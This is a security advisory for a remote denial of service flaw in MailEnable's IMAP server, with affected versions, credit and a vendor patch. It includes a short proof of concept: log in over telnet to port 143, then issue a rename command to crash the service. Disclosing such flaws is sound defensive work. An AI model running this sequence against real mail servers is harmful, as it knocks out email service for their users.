MailEnable IMAP Rename Request Remote Denial of Service Vulnerability

BID:15556

Info

MailEnable IMAP Rename Request Remote Denial of Service Vulnerability

Bugtraq ID: 15556
Class: Failure to Handle Exceptional Conditions
CVE:
Remote: Yes
Local: No
Published: Nov 24 2005 12:00AM
Updated: Nov 24 2005 12:00AM
Credit: Discovery is credited to Josh Zlatin <[email protected]>.
Vulnerable: MailEnable MailEnable Professional 1.7
MailEnable MailEnable Enterprise Edition 1.1
Not Vulnerable:

Discussion

MailEnable IMAP Rename Request Remote Denial of Service Vulnerability

MailEnable is prone to a remote denial of service vulnerability.

The vulnerability presents itself when a user issues a malicious rename request following authentication.

Remote attackers can exploit this issue to trigger a denial of service condition.

Exploit / POC

MailEnable IMAP Rename Request Remote Denial of Service Vulnerability

An exploit is not required.

The following proof of concept is available:

telnet localhost 143
a1 login josh byebye
a2 rename foo bar

where josh and byebye are the login credentials for an existing mailbox.

Solution / Fix

MailEnable IMAP Rename Request Remote Denial of Service Vulnerability

Solution:
The vendor has released a patch to address this issue.


MailEnable MailEnable Enterprise Edition 1.1

MailEnable MailEnable Professional 1.7

References

MailEnable IMAP Rename Request Remote Denial of Service Vulnerability

References:

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